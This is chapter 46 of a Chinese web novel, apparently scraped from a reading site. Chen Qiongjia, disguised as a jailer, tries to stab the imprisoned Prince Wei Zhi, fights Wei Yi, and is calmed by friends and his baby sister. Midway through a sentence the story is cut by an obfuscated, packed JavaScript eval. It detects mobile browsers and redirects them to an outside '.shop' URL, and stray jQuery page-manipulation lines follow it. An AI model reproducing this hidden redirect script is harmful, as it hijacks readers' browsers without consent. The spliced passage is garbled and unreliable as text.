46.第四十六章 狗彘

作品:《重生后死对头非要为我洗手做羹汤

    牢房内光线微弱,外面不知何处正在渗水,水滴一滴一滴落在地上,像是一个折磨人的钟摆。


    魏郅坐在床上,闭着眼。


    到底是陛下亲封的庆王,刑部关押时还是给他留了一份体面,没有上脚镣;但他手上拷着笨重的锁链,他似乎是被那东西压着,才起不了身,几乎成了石墙的一部分。


    他所在的区域,是刑部专门划出的单人牢房,专为要犯而设,故而最冷清。


    一道脚步声混在滴水声中,微弱得几乎听不出来。


    魏郅的耳朵微微动了动。


    哒——


    哒——


    那声音近了,最终停在门外。


    “殿下。”


    有人说话了,声音怯怯的,回荡在牢房中,显得有些空洞。


    魏郅没有睁眼。


    那人接着道:“今日的饭食在这了,牢房钥匙被人借去急用,劳烦殿下近前来取吧。”


    四周又恢复了寂静,这人很有耐心,等了许久等不到魏郅的反应,他也静静地候着;他太安静了,安静到魏郅心底都有些发毛,终于,他睁开眼,往牢房外看去。


    过道里站着那个人,他一身衙役打扮,站在阴影里,低着头,让人看不清他的面容。


    魏郅重新闭上眼:“放在外面吧。”


    光线从上方的小窗照进来也变得有些浑浊,无声搅弄着空气中腐朽的气味。


    那人的声音恭敬地响起:“是。”


    魏郅有些意外,他微微侧头,打量着那人的动作。


    他蹲下身,不慌不忙打开手边的食盒,将饭食一样一样呈出来,从栏杆的缝隙递进来,摆好。


    借着微弱的光,魏郅看见,一张纸条被那人夹在手指的缝隙中,他借着递菜的功夫,顺势将那纸条压在了碗下。


    魏郅眼中神色变了变。


    铁链碰撞的声音哗啦啦地响个没完,魏郅终于站了起来,他一步一步,慢慢向那些饭菜走去。


    那人还低头摆弄着碗碟,丝毫没有因为魏郅的动作而被影响一分一毫。


    魏郅蹲下身,微光照亮他脸上的沟壑,他把手探向碗下压着的纸条。


    “是世子让你来的吗?”


    魏郅刻意压低了声音,但不难听出他语气中含着的希冀。


    那人不直接答:“殿下先用饭吧,小的给您递双筷子。”


    那人转过身去了,魏郅把那张纸条放在光下,一点一点地展开。


    宣纸如蝶翼,在他掌心翻动;一折,两折,直到整张纸被彻底打开。


    魏郅的瞳孔骤缩。


    空白。


    一道急快的风倏然扫过他脸侧,一点冰凉落在他脖颈上,魏郅眼底一暗,抬手抓住那只穿过栏杆缝隙,向他袭来的手。


    筷尖被磨得很利,犹如一枚骨刺,被这人死死抓在手中,魏郅终于看见那人的眼睛了,那含恨的,阴鸷的眼睛。


    他冷哼一声:“拙劣。”


    那人笑了:“是吗?”


    不待魏郅反应,那人左手的袖口忽地闪过一丝银光,一把匕首转眼就被他抓在手中;他果断丢了手中的筷子,趁着距离近,猛地抓住魏郅的领子,举起匕首,狠狠向魏郅刺下来——


    寒光钉在铁栏杆上,又转而划过魏郅的双眼;他腕上的铁链猛地撞向栏杆,发出令人牙酸的声响。


    他正想徒手接下这一刀,可边上却突然闪过一道藏青的影子,下一瞬,凝在刀尖的光骤然模糊,魏郅领口猛地一松。


    那人被撞得跌出去老远,狠狠撞在地上,头上的帽子滚了出去,沾了灰尘,匕首也脱了手;他似乎很痛,却还是选择先去够不远处的匕首。


    他还没够着,方才把他撞出去那人先几步赶了上来,抬脚踩在他腹部,他喉中顿时倒抽了一口气。


    魏郅一愣:“参慎……阿羿?”


    魏羿眼中酝酿着怒意,他俯身捡起那把匕首,刀把在他手中转了一遭,稳稳横在那人颈前。


    “什么人。”


    见那人要挣扎,魏羿用膝盖压在他胳膊上,反复碾了碾,直到听到那人喉咙中溢出了痛苦的闷哼,他才冷笑着俯下身。


    “这么快就按耐不住了?”


    那人粗粗喘着气,乱糟糟的头发盖着脸,魏羿冷冷看着:“说话,谁派你来的。”


    牢中忽地响起了一阵令人心悸的笑声。


    魏羿失了耐心,用刀尖去挑这人面上的头发,碎发被掀开,一张有些熟悉的脸露在他面前。


    陈穹嘉仰着下巴,眼中流动着一丝疯意。


    他微微张口答了。


    “鬼。”


    魏羿愣了愣:“陈——”


    他话还没说完,陈穹嘉忽地屈膝狠狠撞上他腹部,整个人跃了起来;魏羿吃痛,滚到一边,陈穹嘉夺了匕首,另一只手从他腰边蹭过,魏羿还没反应过来,余光却瞥见陈穹嘉手中正拿着他挂在腰带上的牢房钥匙。


    “等等!”


    他声音发哑,顾不得疼痛,挣扎着爬起来。


    陈穹嘉的眼睛猩红,什么都听不见了;钥匙捅进锁孔,陈穹嘉刚要抬脚将门踹开,挥着匕首再次向魏郅刺去,一条胳膊忽地从后面绞住了他的脖子。


    陈穹嘉肺中猛地呕出一口气,他眼底闪过一丝狠意,扳住魏羿的胳膊,整个人往后退去,把魏羿狠狠撞在墙上。


    坚硬的墙面与他的脊骨相撞,魏羿疼得险些咬了舌头。


    他嗓音中全是压抑的痛苦:“案情未明,你现在就着急报仇吗?未免太鲁莽了!”


    陈穹嘉的脸色涨红,咝咝抽着气:“……未明?鸿顺的汇票……够不够……够不够明?容箐与陶翀…往来的书信够不够明?”


    他眼睛一转,看向牢房内的魏郅:“陛下亲自叫东厂锁拿……锁拿他,够不够明?”


    话落,他手中的匕首变了方向,刀尖往身后掼去;魏羿眼疾手快,擒住他的胳膊,锁着他脖子的手一松,转而掐住他的颈后,黑白明暗转了一遭,陈穹嘉牙根一酸,再回神,魏羿已经把他的脑袋按在了墙上。


    “你给老子好好清醒清醒。”


    魏羿咬着牙:“我爹若是幕后主使,你进京这几个月,他有的是机会灭你的口!会留你到今日造次?”


    一行血水顺着陈穹嘉嘴角流下来,他感觉到魏羿往前凑了凑。


    “你以为刑部是你家后院,随你进出?你杀了庆王,你能活着走出去?”


    魏羿恶狠狠道:“我也不会放过你,明白吗?”


    “我早该死了!”


    陈穹嘉持刀往身后一划,魏羿仰头躲避,正好让陈穹嘉抓住了破绽,他反握住魏羿的胳膊,用力一拧。


    “我受刑部看管,若是暴毙,岂不说明刑部内部已被蛀空,可以任人摆弄?”


    陈穹嘉胡乱挥着刀,毫无章法,却也将魏羿逼退了几步。


    他喘着粗气:“你们不敢走这一步的,但我敢。我什么都没有,你以为我会怕死?”


    陈穹嘉举着匕首的手颤抖着,刀尖对着魏羿的脖颈,魏羿感到一股温热正顺着脖颈流下来,他伸手一抹,竟是粘腻的血。


    “你敢,本王敬你。”


    魏郅跪坐在地面上,神色沉静。


    “但是,杀了本王,然后呢?”


    陈穹嘉愣了愣。


    魏郅从地面上捡起沾了灰的筷子,用袖子擦了擦筷尖,夹起一筷子菜,放进碗里。


    “本王死了,案情再次中断,无处可查;你呢?本王死了,你心里会好受一些吗?”


    酒液滚入杯中,魏郅将酒壶搁在地上。


    “你的亲人,能活过来吗?”


    陈穹嘉的面上蒙上一层灰白,他眼里只剩空洞的恨意,整个人如同一只木偶,无声无息地向牢房靠近。


    “陈穹嘉。”


    魏羿见状,赶紧拦在他身前。


    他伸出一只手,试图制止陈穹嘉:“不止你一个人见过生死,陈穹嘉。西北常有夏人来犯,我跟着舅舅上过西北的战场,见过冰天雪地里的死人。”


    “你以为自己就是最痛苦的人了吗?天下之大,每天都有人死,若是死了,能换来公理和正义,至少不会变成孤魂野鬼;若是死了,只能换来更多的杀戮,无休无止的仇恨,死者要凭什么才能安息?”


    陈穹嘉低着头,像是一具石像。


    魏羿死死盯着他,生怕他会和刚才一样突然暴起,可是等了许久,四周只飘荡着他微弱的呼吸声。


    陈穹嘉突然笑了起来。


    “你们还是不懂啊……”


    他低声念叨着,抬起手,擦了擦唇边的血迹,那双眼向魏羿看了过来。


    “我不是最痛苦的人,世子。”


    他的嗓音里含着诡异的温柔。


    “你不懂,没关系,我杀了魏郅,你就会和我感同身受的。”


    “陈穹嘉!”


    魏羿彻底被激怒了,他懒得再去管那碍事的匕首,挥拳就打在陈穹嘉脸上,丝毫没有收力。


    这一拳猝不及防,陈穹嘉并不通武艺,挨了一拳,人立刻就跌在了地上。


    魏羿抬脚把那匕首踹出去老远,两步跨到陈穹嘉身侧,一把揪住他的衣领。


    “本世子跟你说这些,是赏你的,你给脸不要,真以为自己配我给你好脸色?”


    陈穹嘉半垂着眼睛,往魏羿脸上啐了一口血沫。


    “烂人。”


    魏羿一愣:“什么?”


    陈穹嘉嘴角的笑若有若无,他一字一顿:“烂,人。”


    魏羿眼中的怒火越烧越盛,他挥拳就要打下去,魏郅却骤然出了声。


    “参慎!”


    拳风堪堪停在陈穹嘉脸颊边,把他的头发催得更凌乱。


    陈穹嘉惨笑着:“天下之大……”


    魏羿愣了愣,才反应过来,陈穹嘉在说他方才那番话。


    “千万人是天下,六十三人是不是天下?一人是不是天下?我父亲教过我念书,我奉行那些道理一直到今年,我父亲死了,这道理在我心里便也死了。”


    他像是真的心死了,整个人正迅速衰败下去,但眼中却迸射出愈发激烈的不甘,愤怒,悲痛。


    “再大的天下,也是千千万万个陈家。若是天下容不下我的双亲,容不下我的乡里,容不下我,那这天下,皇室,朝廷——”


    他对上魏羿的眼睛。


    “就都给我去死。”


    “你疯了。”


    魏羿揪着他衣领的手又用了几分力:“你父母看到你这副样子,该如何阖目?”


    陈穹嘉的眼角愈发猩红:“你还敢提他们!”


    他抬手扼住魏羿的脖颈,一拳打在他脸上,顺势爬了起来,膝盖压在魏羿腹部,又是挥起几拳,落在魏羿脸上。


    “参慎!”


    魏郅扑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859792|183895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到栏杆前。


    他真的像是疯狗,举止让人猜不透,猜不准,魏羿的招式用在他身上,可是他像是已经感觉不到疼痛了,全然没有反应。


    他扯着魏羿的衣襟:“我就是疯子,因为正常人会明哲保身,疯子才会拖尸陈情!我这样说你满意吗?你是不是觉得自己特别了不起?嗯?世子殿下?”


    魏郅不似方才那般冷静:“陈穹嘉,此事不干参慎的事!”


    “在船上,你就跟我说,不要让万鬼为我而哭,如今,你又三番五次提起我的父母亲人的死,说是我让他们无法阖目!”


    陈穹嘉抬高声音,把魏郅的声音盖了下去。


    “你金尊玉贵,你年少成名,你所作所为是为天下奔走,为国本根基,为千秋万代,所以你总是高人一等;你觉得剖心枭首才是痛,大厦倾覆才是悲,所以我的痛,我的悲,在大局面前,都是无关紧要。”


    “他们无法阖目,不是为我,是为这世道!狗彘披一身华服就能学菩萨垂着眼睛看人了,老子还没答应呢!”


    魏羿被他眼里的情绪刺痛了,一时间说不出话。


    陈穹嘉又逼近几分,他似乎已经在极力克制自己的情绪:“你可以心安理得地提起他们,因为你站得太高了,血溅不到你身上;你和我不一样吗?死了就是一具枯骨,虫啃蚁噬,不得超生。”


    一滴水,不知道是汗,还是泪,落在魏羿脸上,他愣住了。


    “世子殿下。”


    陈穹嘉发声艰难,声音嘶哑。


    “这世间可以没有你,但若是没了我——”


    “不过尔尔。”


    “陈穹嘉!”


    一丝若有若无的香气驱散了鼻尖萦绕的血腥味,陈穹嘉看着自己沾染了鲜血的拳头,突然有些晃神。


    杂乱的脚步声响起,一只冰凉的手环住了他的肩膀。


    温月惭拖着陈穹嘉,甘钰雁上前压住魏羿,把二人生生拉开。


    甘钰雁从怀中掏出手绢,擦拭着魏羿嘴角的血迹;魏羿拉着她的手腕,把她的手拿开:“阿姐,我没事。”


    甘钰雁的眼睛红红的,像是刚哭过,她上上下下打量着魏羿还有没有何处受了伤,心里却犯着嘀咕,陈穹嘉看着那样文弱,竟然能把习武的魏羿给打了。


    魏羿此刻乖得出奇,甘钰雁顺着他的目光看过去,目之所及处,只有那个她心中文弱的少年。


    他发丝凌乱,浑身都在发着抖。


    陈穹嘉极力克制着,可是他太混乱了,不知道自己是在怕,在怒,还是只是太冷了,但他就是抖得停不下来。


    那缕香气一直在试图唤醒他,他感觉有人在轻轻拍着他的背,这个动作让他的心忽地软了软。


    他的呼吸平稳下来了。


    温月惭没有像方才那般,把他箍得很紧,却还是一下一下,抚着他的背。


    陈穹嘉微微低下头,温月惭的鬓发就在他耳尖,轻轻地蹭着。


    这像是一个拥抱。


    他喉间滚了滚,嗓音暗暗的:“我闯祸了,是吗。”


    温月惭安抚他的动作没有停下:“别瞎想,好好缓一下,我们回家。”


    这句话意外地安抚了他,他的脑袋终于垂了下来,不动了。


    四周只剩下几人的呼吸声,这声音在封闭的牢房中,被放大了数倍。


    一道天真的声音钻进了陈穹嘉的耳朵。


    “哥—哥——”


    他眼皮一颤,有些讶异地抬起头,往声音的来源看去。


    青栀站在温月惭身后,怀中抱着一个粉衣衫的小姑娘。


    “坤灵……”


    陈穹嘉嗫嚅出声。


    青栀见状,走上前,将陈坤灵递到陈穹嘉怀中。


    “这孩子叫坤灵吗?”


    温月惭揉了揉坤灵的发顶:“太子殿下给她取了个小名儿,叫阿瀛;陈穹嘉,你觉得怎么样?”


    陈穹嘉摩挲着妹妹手腕上系着的木元宝,看着元宝底下刻着的“阿瀛”二字,嘴角不知不觉挂上一丝笑意。


    “好听,得殿下赐名,坤灵是福厚的人。”


    “坤灵是福厚的人。”


    温月惭重复着他的话,看向了他的眼睛。


    “所以,不要留她一个人在这世上。”


    陈穹嘉的心在胸口猛地震了震,他抬眼,看清温月惭神情的一瞬间,明白了她话中真正的用意。


    “陈穹嘉,再等等,好吗?我答应过你的事,绝对不会食言。”


    他闭上眼,开口时像是把自己身体的一部分交出去了,痛苦——


    但虔诚。


    “我相信你。”


    小坤灵是昏暗中唯一的一抹亮色,她话都还说不清,却爱啊啊地叫,像只小鸭子;陈穹嘉摸着她的脸,听了许久,才发现她几番努力尝试,只是想说出一个词。


    他低下头,一个字一个字认真去听。


    命。


    命与……


    他的嘴唇翕动着。


    命与仇谋。


    潮湿,腐臭,血腥,眼泪,在这一刻如一场梦,在他身畔消散了,曲苧平坦的土地上刮起了强劲的风,穿透他的身体,他睁开眼,群山就在眼前,越过山去,是他的家。


    他喉中溢出一声悲鸣,一时间,泪如雨下。


    命与仇谋啊。


    他把头深深迈进坤灵小小的颈窝里。


    命与仇谋。